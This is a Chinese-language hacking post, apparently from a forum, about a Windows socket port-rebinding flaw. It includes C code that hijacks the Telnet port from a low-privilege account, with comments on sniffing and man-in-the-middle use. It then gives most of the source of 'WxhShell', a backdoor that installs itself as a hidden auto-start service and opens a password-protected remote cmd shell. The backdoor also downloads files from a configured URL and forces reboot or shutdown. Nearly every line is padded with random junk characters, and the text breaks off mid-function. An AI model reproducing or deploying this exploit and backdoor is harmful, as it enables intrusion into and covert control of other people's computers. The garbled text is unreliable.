在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
7ko7)"N s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
4fDo }~ ;bt@wgY saddr.sin_family = AF_INET;
Y`FGD25` ,v"/3Ff{, saddr.sin_addr.s_addr = htonl(INADDR_ANY);
++KY+j.^ vS~y~ uU%6 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
+MQvq\%tG gto@o\&= 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
(wJtEoB9^ ;OYwZ 这意味着什么?意味着可以进行如下的攻击:
E(G=~>P Fa(}:Ug 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
`I$qMw,@ ?e|'I" 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
{Y5h*BD> Q9K+k*?{N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_/[n/"gn l<<G".? 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
1B3,lYBM UI~ENG 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
0XlX7Sk+ i'!M<>7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Ow\9vf6H >l$vu-k)~4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~L(_q] bw*@0; #include
oH+UuP2a-J #include
YQR*?/?a #include
RJs_ S #include
CiP-Zh[gZ DWORD WINAPI ClientThread(LPVOID lpParam);
SwQ.tK1p int main()
<!,q:[ee5 {
.}fc*2.' WORD wVersionRequested;
MCma3^/1 DWORD ret;
H+zn:j@~L WSADATA wsaData;
f{e*R#+& BOOL val;
x7e SOCKADDR_IN saddr;
3&*0n^g SOCKADDR_IN scaddr;
]P0DPea int err;
tC+9W1o SOCKET s;
@];#4O SOCKET sc;
?xf59mY7 int caddsize;
NrvS/cI!t HANDLE mt;
*9^CgLF DWORD tid;
:Puv8[1i wVersionRequested = MAKEWORD( 2, 2 );
Rn{q/h err = WSAStartup( wVersionRequested, &wsaData );
4\(;}M-R{ if ( err != 0 ) {
%9mCgHQ9 printf("error!WSAStartup failed!\n");
qn@Qd9Sf return -1;
`n-e.{O(( }
lGB7( saddr.sin_family = AF_INET;
:kZ2N67 M;MD-|U //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
^F?H)[0 y<F$@ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
]CC=
\ < saddr.sin_port = htons(23);
~s^&*KaA if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
v03~=( {
+:&(Ag printf("error!socket failed!\n");
C>68$wd> return -1;
!xo@i XL }
Cw{#(xX val = TRUE;
B_cn[?M //SO_REUSEADDR选项就是可以实现端口重绑定的
B_5q}Bp< if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
( kp}mSw {
4)j<(5 printf("error!setsockopt failed!\n");
#<'/sqL return -1;
>^J!Z~;L) }
4d] //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
(f#W:]o/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
g8kw|BgnL //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=r0!-[XCa 56<LMY|d if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
HTqik w5X {
UjKHGsDi4 ret=GetLastError();
Zl,K# printf("error!bind failed!\n");
qE,%$0g return -1;
/v!H{Zw=c }
KktTR`W listen(s,2);
[/#n+sz.A while(1)
j|aT`UH03 {
oub4/0tN,~ caddsize = sizeof(scaddr);
LnJ7i"Q //接受连接请求
<K\F/`c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
d'3'{C|kk if(sc!=INVALID_SOCKET)
JAiV7v4&R {
p>}N9v;Bo mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
;,4J:zvZdQ if(mt==NULL)
gdG:
&{|x {
SiBbz4 printf("Thread Creat Failed!\n");
zIAMM break;
#&8Opo( }
i'5bPW }
wUV%NZB CloseHandle(mt);
mMjVbeh[ }
`UJW:qqW closesocket(s);
!< X_XA WSACleanup();
Y-{spTI return 0;
X1'Ze,34 }
& {/u>, DWORD WINAPI ClientThread(LPVOID lpParam)
9=}/t9k {
<1LuYEDq SOCKET ss = (SOCKET)lpParam;
(@#Lk"B SOCKET sc;
./g#< unsigned char buf[4096];
U92hv~\ SOCKADDR_IN saddr;
P<(mH=K long num;
!*ucVv; DWORD val;
^}[
N4 DWORD ret;
o{Ep/O` //如果是隐藏端口应用的话,可以在此处加一些判断
W2B=%`sC //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
V9bLm,DtT saddr.sin_family = AF_INET;
Z"^@B2v saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
F>Oh)VL,Ev saddr.sin_port = htons(23);
A&7jE:Ew if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1&As:kv5I {
^KF'/9S printf("error!socket failed!\n");
K;ML' return -1;
18HHEW{ }
~zX5}U<R val = 100;
aRwBxf if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
v%- V|L {
NEH$&%OV? ret = GetLastError();
igL^k`&5^" return -1;
R{B~No w3 }
`qgJE_GC if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
,'6GG+ {
9|m L ret = GetLastError();
~>R)H#mP7 return -1;
&40]sxm }
{cI<4>< if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
B;Z^.3 {
X9j+$X\j printf("error!socket connect failed!\n");
5S?yj closesocket(sc);
Sx"I]N closesocket(ss);
8gxLL59 return -1;
a40BisrD~6 }
J_@4J7 while(1)
SAJ=)h~ {
g <o ;\\ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
J|IDnCK //如果是嗅探内容的话,可以再此处进行内容分析和记录
$C/Gn~k 5 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
H%N+Vr3O, num = recv(ss,buf,4096,0);
<hbbFL}|% if(num>0)
xW4+)F5P( send(sc,buf,num,0);
~=ktFuEa else if(num==0)
&/F[kAy break;
8|GpfW3p2 num = recv(sc,buf,4096,0);
;I'/.gW;{ if(num>0)
Se8y-AL6x> send(ss,buf,num,0);
sQs5z~#51* else if(num==0)
a)Ek~{9 break;
{SJ7Yfs }
dDbC0} x/ closesocket(ss);
*Rh .s!@4 closesocket(sc);
F w m:c[G return 0 ;
\k_3IP?o= }
=[+&({ G{~p.?f: {;DZ@2| ==========================================================
q?4uH;h:^G Qu _T& 下边附上一个代码,,WXhSHELL
-RQQ|:O$ e&4u^'+K ==========================================================
-%l,Zd9 );DIrA #include "stdafx.h"
h_yR$H&tX y(h(mr #include <stdio.h>
_ n4ma #include <string.h>
@ -d4kg #include <windows.h>
[frD
L) #include <winsock2.h>
_PXo'*j #include <winsvc.h>
ZMg9Qt #include <urlmon.h>
F|`B2Gr 2{I z #pragma comment (lib, "Ws2_32.lib")
N|2 #pragma comment (lib, "urlmon.lib")
gGml
c:/J% Jjh!/pWZ4 #define MAX_USER 100 // 最大客户端连接数
\<x_96jt!\ #define BUF_SOCK 200 // sock buffer
G%jJ>T4 #define KEY_BUFF 255 // 输入 buffer
Q8cPKDB wg_CI,Kq #define REBOOT 0 // 重启
t>@3RBEK #define SHUTDOWN 1 // 关机
d|+jCTKS _hL4@C #define DEF_PORT 5000 // 监听端口
TcmZ0L^O Bl\kU8O- #define REG_LEN 16 // 注册表键长度
Atq2pL" #define SVC_LEN 80 // NT服务名长度
V9+"CB^ !>Y\&zA // 从dll定义API
]mo<qWRc>p typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Rha3 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
!&jgcw/E typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
jI<WzvhYG typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
|0R%!v(, .x?zky^ // wxhshell配置信息
#n)W struct WSCFG {
T KL(97)< int ws_port; // 监听端口
[mzF)/[_2 char ws_passstr[REG_LEN]; // 口令
Le:mMd= G int ws_autoins; // 安装标记, 1=yes 0=no
qq3Qd,$Z char ws_regname[REG_LEN]; // 注册表键名
U]EuDNkO{ char ws_svcname[REG_LEN]; // 服务名
zRE8299%z char ws_svcdisp[SVC_LEN]; // 服务显示名
UA4d|^ev char ws_svcdesc[SVC_LEN]; // 服务描述信息
4?M3#],'h char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Xb:BIp!e int ws_downexe; // 下载执行标记, 1=yes 0=no
fA0=Y,pzv char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
JgKZ;GM:W char ws_filenam[SVC_LEN]; // 下载后保存的文件名
KXA)i5z YGV#. };
`$agM@"^ 'Qq_Xn8 // default Wxhshell configuration
fy>And* struct WSCFG wscfg={DEF_PORT,
)u )$ `a "xuhuanlingzhe",
~G:2iSi(# 1,
v[DbhIXU "Wxhshell",
*[~o~e/YCb "Wxhshell",
qq7X",s "WxhShell Service",
\ j X N*A "Wrsky Windows CmdShell Service",
!v4j`A;% "Please Input Your Password: ",
=*:_swd 1,
!"x7re "
http://www.wrsky.com/wxhshell.exe",
#iU8hUbo "Wxhshell.exe"
?r E]s!K };
{$1$]p~3o B"Kce"! // 消息定义模块
P^<0d'( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
po2[uJ char *msg_ws_prompt="\n\r? for help\n\r#>";
`CEj 4 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
ck_fEF char *msg_ws_ext="\n\rExit.";
b
hr E char *msg_ws_end="\n\rQuit.";
?(ls<&s{w char *msg_ws_boot="\n\rReboot...";
8u5
'g1M char *msg_ws_poff="\n\rShutdown...";
,\9m At1O char *msg_ws_down="\n\rSave to ";
e=jT]i *cU eQaxZMU char *msg_ws_err="\n\rErr!";
LSu^#B char *msg_ws_ok="\n\rOK!";
)!}-\5F SM#S/|.] char ExeFile[MAX_PATH];
XZdr`$z f int nUser = 0;
1H,tP|s HANDLE handles[MAX_USER];
oBNX8%5w int OsIsNt;
|~bR.IA 6^IqSNn- SERVICE_STATUS serviceStatus;
d:<H?~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
87pXv6'FQ mh#FYSp // 函数声明
Z-h7 int Install(void);
D@\;@(
| int Uninstall(void);
_:Jp*z int DownloadFile(char *sURL, SOCKET wsh);
%X"m/4c8} int Boot(int flag);
#;"D)C void HideProc(void);
5%Oyvt]}2 int GetOsVer(void);
4`U0">gY int Wxhshell(SOCKET wsl);
xBRh!w void TalkWithClient(void *cs);
K%(XgXb(</ int CmdShell(SOCKET sock);
.Y(lB=pV int StartFromService(void);
]C
~1]7vb int StartWxhshell(LPSTR lpCmdLine);
E<<p_hX8R Vp]D VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
% nmY:}um VOID WINAPI NTServiceHandler( DWORD fdwControl );
sP?$G8-^ jkF+g$B // 数据结构和表定义
pFJQ7Jlx SERVICE_TABLE_ENTRY DispatchTable[] =
EzIs@} {
ran^te^Ks( {wscfg.ws_svcname, NTServiceMain},
mGe|8In {NULL, NULL}
Z%+BWS3YqY };
)XP#W|; }{5mH: // 自我安装
N~):c2Kp<9 int Install(void)
1^L`)Up {
;Rhb@]X char svExeFile[MAX_PATH];
eB=v~I3 HKEY key;
7}?k^x,1 strcpy(svExeFile,ExeFile);
WgA`kT ^Ue0mC7m // 如果是win9x系统,修改注册表设为自启动
bR`rT4.F if(!OsIsNt) {
JAlU%n?R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
izPh1YA RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
hI|/>4< RegCloseKey(key);
,{?q^" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
&:c:9w RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F<Hqo>G RegCloseKey(key);
y !<'rg return 0;
.!(,$'(@= }
Z&FkLww }
3ar=1_Ar }
aqs%m ( else {
{)V? R >*dQqJI // 如果是NT以上系统,安装为系统服务
gEv-> pc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
=n-z;/NL if (schSCManager!=0)
WY+(]Wkao {
g4:VR:o SC_HANDLE schService = CreateService
&:V@2_6" (
-B1YZ/.rz" schSCManager,
4K9Rpm wscfg.ws_svcname,
'aD6>8/Hj wscfg.ws_svcdisp,
&P
8!]: SERVICE_ALL_ACCESS,
`,wcQ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
{~"7vkc+ SERVICE_AUTO_START,
{r={#mO;p SERVICE_ERROR_NORMAL,
d/XlV]#2x\ svExeFile,
A7k'K4 NULL,
O)`fvpVU NULL,
CQdBf3q NULL,
GS\%mPZ NULL,
0Injyc*bMF NULL
_QR
g7 );
"7Eo>g if (schService!=0)
[6D>f?z {
FU%~9NKX CloseServiceHandle(schService);
I4)Nb WQ CloseServiceHandle(schSCManager);
?75\>NiR strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Dp*:Q){>E strcat(svExeFile,wscfg.ws_svcname);
8q?;2w\l if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
mZwi7s&u RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
W*k` RegCloseKey(key);
/7bw: h; return 0;
NQ?x8h3 }
n0_B(997* }
4d!S#zx CloseServiceHandle(schSCManager);
Nd`HB=ShJ }
nV'3sUvR# }
!#q{Z>H` 3&es]1b return 1;
B4Q79gEh= }
(nLKQV 1 U\Ct/U&A? // 自我卸载
n
]w7Zj int Uninstall(void)
EYG"49
c {
3[VWTq)D= HKEY key;
OR]T`meO Rho5s@N 7 if(!OsIsNt) {
dY8(nQG if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
zLP],wB RegDeleteValue(key,wscfg.ws_regname);
jZRh KT RegCloseKey(key);
VBM/x|' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2B^~/T<\ RegDeleteValue(key,wscfg.ws_regname);
l]H0g[ RegCloseKey(key);
!#?8BwnaZ return 0;
eK'wVg# }
,+s e }
5:UyUB }
x=.tiM {# else {
!i^]UN =L"^.c@ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
H'EY)s Hi if (schSCManager!=0)
~AQ>g#|% {
3[r";Wt# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
34ha26\np if (schService!=0)
#|Oj]bd(= {
n+HsQ]z. if(DeleteService(schService)!=0) {
/PXioiGcs CloseServiceHandle(schService);
~].ggcl`w CloseServiceHandle(schSCManager);
0 " y%9
return 0;
^;r+W-MQ }
%k2FPmA6 CloseServiceHandle(schService);
?g3 ]~;# }
\, 8p1$G CloseServiceHandle(schSCManager);
KXf<$\+zO }
L,?/'!xV }
E"#Xc@ -f?A h return 1;
DK6?E\< }
X\\7$ \3zp)J // 从指定url下载文件
ZY cd.? :6 int DownloadFile(char *sURL, SOCKET wsh)
OR4!YVVQ {
a
}'->H HRESULT hr;
rk|a5-i char seps[]= "/";
wAFW*rO5o char *token;
D. Kqc char *file;
lZWK2 char myURL[MAX_PATH];
pzhl*ss"6 char myFILE[MAX_PATH];
*5OCqU+g 3~Qd)j"< strcpy(myURL,sURL);
j1q[c, token=strtok(myURL,seps);
gg^1b77hT while(token!=NULL)
<x0H@?f7 {
~e">_;k6 file=token;
3A,rHYS token=strtok(NULL,seps);
[ohBPQO }
fP[& a9l y&oNv
xG- GetCurrentDirectory(MAX_PATH,myFILE);
p'f%%#I strcat(myFILE, "\\");
347eis' strcat(myFILE, file);
zl%>`k!> send(wsh,myFILE,strlen(myFILE),0);
fD4ICO @ send(wsh,"...",3,0);
y(a!YicA? hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
6CCbBA if(hr==S_OK)
zhblLBpeE\ return 0;
XK
ApLz else
G7@O`N8' return 1;
zt=0o|k oVOm_N }
j1-,Sqi Q_p[kK H // 系统电源模块
\or G63T: int Boot(int flag)
(Yb[)m>fQ} {
VDbI-P&c HANDLE hToken;
bb-q O#E TOKEN_PRIVILEGES tkp;
JC#>Td o "z@&G" ^ if(OsIsNt) {
(% _n!ip^ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
+iO/m LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:5fAPK2r< tkp.PrivilegeCount = 1;
mQ~:Y tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
W# US#<9Y AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Te,$M3| if(flag==REBOOT) {
9QC.TG@ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
-&2B@]] return 0;
sOU_j:A80; }
uz30_aH else {
sEc;!L if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
%~xGkk"I return 0;
kAA>FI6 }
H%F>@(U }
:G5uocVk else {
\e3`/D if(flag==REBOOT) {
+}xaQc:0| if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
[
ho(z30k return 0;
tBATZ0nK`Q }
Gi2$B76< else {
,u9M<B<F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
V5f9]D return 0;
3< Od0J }
:4gLjzL }
Z{6kWA3Kk O1&b]C# return 1;
U_G gCI) }
=
u[#2!
D L'iS // win9x进程隐藏模块
aGZi9O7G} void HideProc(void)
<[:o !$ {
@%ip7Y]e 7R4z}2F2 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
a|7a_s4( if ( hKernel != NULL )
!k3e\v| {
*Lqg=9kzr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
<
0M:"^f ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
7CXW#H FreeLibrary(hKernel);
'B5^P }
XQ%4L-rhN u9+kLepOT return;
0& >H^ }
'y]\-T ("~DJ= // 获取操作系统版本
xL|;VyD int GetOsVer(void)
sg'pO*_& {
7>XDNI OSVERSIONINFO winfo;
ez]tAW winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
X\$ 0 GetVersionEx(&winfo);
D:^$4}h
f if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
;Gx)Noo/> return 1;
-=s(l.?Hm5 else
eW5SFY. return 0;
0Wa}<]:^ }
\`V;z~@iA QrO\jAZ{Ag // 客户端句柄模块
cdqB,]" int Wxhshell(SOCKET wsl)
X\EVTd)@ {
^7zu<lX SOCKET wsh;
}Sy=My89r struct sockaddr_in client;
n
-( DWORD myID;
Hbv6_H qW:HNEiir while(nUser<MAX_USER)
kmzH'wktt {
6T 8!xyi-+ int nSize=sizeof(client);
u:0aM}9A wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
lL1k.&|5m if(wsh==INVALID_SOCKET) return 1;
]Q]W5WDe: f&v9Q97= handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
9zYVC[o if(handles[nUser]==0)
ctE\ q closesocket(wsh);
uqz]J$ else
SBA?^T nUser++;
g&/T*L }
iq(
)8nxi WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
`al<(FwGE >pUtwIP return 0;
jZ NOt }
jw-0M1B PkI:*\R // 关闭 socket
87hq{tTs] void CloseIt(SOCKET wsh)
=zQN[ {
{o(j^@ closesocket(wsh);
q,
O$ %-70 nUser--;
n ; {76Q ExitThread(0);
;a:[8 Yi }
LL:_L< %*BlWk!Q // 客户端请求句柄
>EY3/Go> void TalkWithClient(void *cs)
vpmj||\- {
.\>v0Du *_>Lmm.yh SOCKET wsh=(SOCKET)cs;
I? ,>DHUX char pwd[SVC_LEN];
@)J+,tg/7 char cmd[KEY_BUFF];
pK0"%eA char chr[1];
P.gb1$7< int i,j;
\rv<$d@L '],J$ge while (nUser < MAX_USER) {
6gc>X%d `K Xh56T^,2 if(wscfg.ws_passstr) {
(o`{uj{! if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4?B\O`sy. //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
XI^QF;, //ZeroMemory(pwd,KEY_BUFF);
!qG7V:6 i=0;
` V##Y while(i<SVC_LEN) {
ti
\wg 4EY)!?; // 设置超时
0Vx.nUQ fd_set FdRead;
%7|9sQ: struct timeval TimeOut;
=E.wv
FD_ZERO(&FdRead);
\-g)T}g,I FD_SET(wsh,&FdRead);
z<Nfm TimeOut.tv_sec=8;
q<M2,YrbAI TimeOut.tv_usec=0;
7Op>i,HZk\ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/'/Xvm3 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
v/ _ }4,L%$@n if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
|:gf lseE pwd
=chr[0]; 2'w?\{}D
if(chr[0]==0xd || chr[0]==0xa) {
+U3DG$
pwd=0; w(L4A0K[
break; s%W C/ZK
} j:v@pzTD
i++; ?{[
v+t#
} `x*Pof!Io
nlc
"c5;jh
// 如果是非法用户,关闭 socket p>huRp^w
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h'{ C[d
} x<ZJb
Te[n,\Nb
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XuFYYx~ ^3
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )P
sY($ &
Bx<
<~[Ws}
while(1) { 'd9INz.
9P+-#B
ZeroMemory(cmd,KEY_BUFF); [MUpxOAsd
"]}
bFO7C
// 自动支持客户端 telnet标准 eceP0x
j=0; ZQV6xoN;r
while(j<KEY_BUFF) { MDn ua
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ds<2I,t
cmd[j]=chr[0]; .[ICx
if(chr[0]==0xa || chr[0]==0xd) { ;@oN s-
cmd[j]=0;
"y}--
break; Fj2BnM3#
} g,!L$,/F
j++; s;ls qQk
}
f*?]+rz
s Z].8.
// 下载文件 W')Yg5T
if(strstr(cmd,"http://")) { GjvOM y
send(wsh,msg_ws_down,strlen(msg_ws_down),0); #Lh;CSS
if(DownloadFile(cmd,wsh)) [1Qo#w1
send(wsh,msg_ws_err,strlen(msg_ws_err),0); p8Qk'F=h
else -(;26\lE
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hcsP2
0s
} | ATvS2
else { G3Hx!YW
OrY/`+Cog
switch(cmd[0]) { G[uK -U
4V)kx[j
// 帮助 mn"G_I
case '?': { 8V`WO6*
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); TrEu'yxy8*
break; C)ERUH2i
} y51e%n$
// 安装 6
ob@[ @
case 'i': { "o-zy'I
if(Install()) Y!w`YYKP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *&^Pj%DX
else )Q&(f/LT
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |4;Fd9q^m
break; c tZ uA+
} FrGgga$
// 卸载 m$>H u@Va
case 'r': { Rq'S>#e
if(Uninstall()) PR#exm&
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F rfM3x6UM
else gwuI-d^
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d;Ym=YHJtn
break; :^6y7&o[
} *K8$eDNZ
// 显示 wxhshell 所在路径 U)]oO
case 'p': { /K@XzwM
char svExeFile[MAX_PATH]; {4<C_52t
strcpy(svExeFile,"\n\r"); N2^=E1|_
strcat(svExeFile,ExeFile); !C':
send(wsh,svExeFile,strlen(svExeFile),0); uP)'FI
break; _^Ubs>d=*
} 99e.n0
// 重启 /$Nsd
case 'b': { V1N3iI
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5IGX5x
if(Boot(REBOOT)) JzQ_{J`k
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [.7d<oY
else { xX&+WR
closesocket(wsh); %HhnSi1K
ExitThread(0); [Gb.
JO}X
} \h/H#jZJ
break; ]v UwG--*
} cKca;SNql1
// 关机 G:<aB
case 'd': { #4<SAgq
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *SJ_z(CZm
if(Boot(SHUTDOWN)) ,aZ[R27rpL
send(wsh,msg_ws_err,strlen(msg_ws_err),0); >C>.\
else { gV's=cQ
closesocket(wsh); s%7t"-=&
ExitThread(0); F]O`3e=!
} EH J.T~X
break; S6DKREO
} hR?{3d#x2
// 获取shell ~g]Vw4pv
case 's': { z#wkiCRYm
CmdShell(wsh); AlaW=leTe
closesocket(wsh); BA:VPTZq
ExitThread(0); *w`sM%]Rq
break; g
wRZ%.Cn
} ,]F,Uu_H7
// 退出 `g=J%p
case 'x': { tCH!my_
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); (=AWOU+
CloseIt(wsh); ,?%Zc$\LW
break; >1Ibc=}g
} N#_H6TfMG
// 离开 L,/%f<wd
case 'q': { D;*SnU(9L
send(wsh,msg_ws_end,strlen(msg_ws_end),0); iOghb*aW
closesocket(wsh); Rr]Hy^w
WSACleanup(); tX s\R(?T
exit(1); Se}c[|8
break; zY{A'<\O
} jvL[
JI,b
} Ynj,pl
} =&]g "a'
rglXs
// 提示信息 b2Fe<~S{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); K($Npuu]
} 6<QQ@5_
} JX;G<lev
YK'<NE3 4
return; %ntRG!
} kbQ>a5`,x
aB&&YlR=n<
// shell模块句柄 IOmfF[
int CmdShell(SOCKET sock) /W<;Z;zk
{ gR;i(81U
STARTUPINFO si; hL{KRRf>
ZeroMemory(&si,sizeof(si)); yNBfUj -L
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |/{=ww8|
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }&J q}j
PROCESS_INFORMATION ProcessInfo; C_JNX9wv
char cmdline[]="cmd"; 0S!K{xyR
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @RKryY)
return 0; O_7|C\]
} VU3upy<
Kw ]=
// 自身启动模式 mz0X3
int StartFromService(void) }19\.z&J
{ ]N?kG`[
typedef struct HIZe0%WPw
{ eD6fpe\(
DWORD ExitStatus; 2E'UZ
m
DWORD PebBaseAddress; >|UOz&
DWORD AffinityMask; W/h[A3 `3N
DWORD BasePriority; @:#eb1<S
ULONG UniqueProcessId; +cN8Y}V
